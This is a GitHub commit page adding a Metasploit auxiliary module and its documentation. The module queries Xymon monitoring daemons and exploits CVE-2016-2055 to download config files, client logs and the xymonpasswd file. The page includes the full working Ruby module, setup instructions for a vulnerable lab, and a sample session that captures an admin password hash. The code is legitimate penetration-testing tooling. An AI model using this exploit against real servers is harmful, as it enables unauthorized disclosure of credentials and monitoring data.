Skip to content
Permalink
Browse files

Land #12032, add Xymon gather info module

  • Loading branch information...
space-r7 committed Aug 8, 2019
2 parents f317987 + cd1669f commit 9418f4bac23c16e459b5f37a3859398ffae6fcc2
Showing with 269 additions and 0 deletions.
  1. +79 −0 documentation/modules/auxiliary/gather/xymon_info.md
  2. +190 −0 modules/auxiliary/gather/xymon_info.rb
@@ -0,0 +1,79 @@
## Description

This module retrieves information from a Xymon daemon service
(formerly Hobbit, based on Big Brother), including server
configuration information, a list of monitored hosts, and
associated client log for each host.

This module also retrieves usernames and password hashes from
the `xymonpasswd` config file from Xymon servers before 4.3.25,
which permit download arbitrary config files (CVE-2016-2055),
and servers configured with `ALLOWALLCONFIGFILES` enabled.


## Vulnerable Application

[Xymon](http://xymon.sourceforge.net/) is a system for monitoring servers and networks.

Xymon packages are available in software repositories for various Linux distributions :

```
sudo apt-get install xymon
```

Refer to http://xymon.sourceforge.net/xymon/help/install.html for more information.

A Xymon virtual appliance is also available :

* https://sourceforge.net/projects/xymon/files/Xymon/4.3.10/VM/

To expose the `xymonpasswd` file, add the following line to `/etc/xymon/xymonserver.cfg` :

```
ALLOWALLCONFIGFILES="TRUE"
```

And restart the service with : `service xymon restart`.


## Verification Steps

1. Start `msfconsole`
2. Do: `use use auxiliary/gather/xymon_info`
3. Do: `set rhost [IP]`
4. Do: `run`
5. You should receive server and client host information


## Scenarios

```
msf5 > use auxiliary/gather/xymon_info
msf5 auxiliary(gather/xymon_info) > set rhosts 172.16.191.250
rhosts => 172.16.191.250
msf5 auxiliary(gather/xymon_info) > run
[*] Running module against 172.16.191.250
[*] 172.16.191.250:1984 - Xymon daemon version 4.3.28
[*] 172.16.191.250:1984 - Retrieving configuration files ...
[+] 172.16.191.250:1984 - xymonserver.cfg (18347 bytes) stored in /root/.msf4/loot/20190629235042_default_172.16.191.250_xymon.config.xym_136371.txt
[+] 172.16.191.250:1984 - hosts.cfg (745 bytes) stored in /root/.msf4/loot/20190629235042_default_172.16.191.250_xymon.config.hos_647070.txt
[+] 172.16.191.250:1984 - xymonpasswd (44 bytes) stored in /root/.msf4/loot/20190629235042_default_172.16.191.250_xymon.config.xym_182226.txt
[+] 172.16.191.250:1984 - Credentials: admin : $apr1$axRTeLB1$TFmoeLwRnus.Yhr5fJmc1.
[*] 172.16.191.250:1984 - Retrieving host list ...
[+] 172.16.191.250:1984 - Host info (127 bytes) stored in /root/.msf4/loot/20190629235042_default_172.16.191.250_xymon.hostinfo_254799.txt
[+] 172.16.191.250:1984 - Found 3 hosts
[*] 172.16.191.250:1984 - Retrieving client logs ...
[+] 172.16.191.250:1984 - debian-9-6-0-x64-xfce.local client log (87942 bytes) stored in /root/.msf4/loot/20190629235042_default_172.16.191.250_xymon.hosts.debi_671716.txt
[*] 172.16.191.250:1984 - test-host client log is empty
[*] 172.16.191.250:1984 - another-test-host client log is empty
[*] Auxiliary module execution completed
msf5 auxiliary(gather/xymon_info) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
172.16.191.250 172.16.191.250 1984/tcp (xymond) admin $apr1$axRTeLB1$TFmoeLwRnus.Yhr5fJmc1. Nonreplayable hash md5crypt
```

@@ -0,0 +1,190 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/hashes/identify'

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report

def initialize
super(
'Name' => 'Xymon Daemon Gather Information',
'Description' => %q{
This module retrieves information from a Xymon daemon service
(formerly Hobbit, based on Big Brother), including server
configuration information, a list of monitored hosts, and
associated client log for each host.
This module also retrieves usernames and password hashes from
the `xymonpasswd` config file from Xymon servers before 4.3.25,
which permit download arbitrary config files (CVE-2016-2055),
and servers configured with `ALLOWALLCONFIGFILES` enabled.
},
'Author' => [
'Markus Krell', # CVE-2016-2055 discovery
'bcoles' # Metasploit
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2016-2055'],
['PACKETSTORM', '135758'],
['URL', 'https://lists.xymon.com/pipermail/xymon/2016-February/042986.html'],
['URL', 'https://xymon.sourceforge.net/'],
['URL', 'https://en.wikipedia.org/wiki/Xymon'],
['URL', 'https://en.wikipedia.org/wiki/Big_Brother_(software)']
]
)
register_options [Opt::RPORT(1984)]
end

def xymon_send(cmd)
vprint_status "Sending: #{cmd}"
connect
sock.puts cmd
sock.shutdown(:WR)
return sock.get(5)
ensure
disconnect
end

def run
res = xymon_send('ping').to_s

unless res.starts_with? 'xymond'
print_error 'Target is not a Xymon daemon'
return
end

version = res.scan(/^xymond ([\d\.]+)/).flatten.first

unless version
print_error 'Could not retrieve Xymon version'
end

print_status "Xymon daemon version #{version}"

service_data = {
address: rhost,
port: rport,
service_name: 'xymond',
protocol: 'tcp',
info: version,
workspace_id: myworkspace_id
}

xymond_service = report_service(service_data)

print_status 'Retrieving configuration files ...'

%w(xymonserver.cfg hosts.cfg xymonpasswd).each do |config|
res = xymon_send("config #{config}").to_s

if res.blank?
print_error "Could not retrieve #{config}"
next
end

path = store_loot(
"xymon.config.#{config.sub(/\.cfg$/, '')}",
'text/plain',
target_host,
res,
nil,
"config #{config}",
xymond_service
)

print_good "#{config} (#{res.size} bytes) stored in #{path}"

if config == 'xymonpasswd'
res.each_line.map {|l| l.strip}.reject{|l| l.blank? || l.starts_with?('#')}.each do |c|
user = c.split(':')[0].to_s.strip
hash = c.split(':')[1].to_s.strip

print_good("Credentials: #{user} : #{hash}")

credential_data = {
module_fullname: fullname,
origin_type: :service,
private_data: hash,
private_type: :nonreplayable_hash,
jtr_format: identify_hash(hash),
username: user
}.merge(service_data)

login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)

create_credential_login(login_data)
end
end
end

print_status 'Retrieving host list ...'

res = xymon_send('hostinfo').to_s

if res.blank?
print_error 'Could not retrieve client host list'
return
end

path = store_loot(
'xymon.hostinfo',
'text/plain',
target_host,
res,
nil,
'hostinfo',
xymond_service
)

print_good "Host info (#{res.size} bytes) stored in #{path}"

hosts = res.each_line.map {|line| line.split('|').first}.reject {|host| host.blank?}

if hosts.empty?
print_error 'Found no client hosts'
return
end

print_good "Found #{hosts.size} hosts"

print_status 'Retrieving client logs ...'

hosts.each do |host|
res = xymon_send("clientlog #{host}")

unless res
print_error "Could not retrieve client log for #{host}"
next
end

if res.blank?
print_status "#{host} client log is empty"
next
end

path = store_loot(
"xymon.hosts.#{host}",
'text/plain',
target_host,
res,
nil,
"clientlog #{host}",
xymond_service
)

print_good "#{host} client log (#{res.size} bytes) stored in #{path}"
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue Timeout::Error => e
print_error(e.message)
end
end

0 comments on commit 9418f4b

Please sign in to comment.
You can’t perform that action at this time.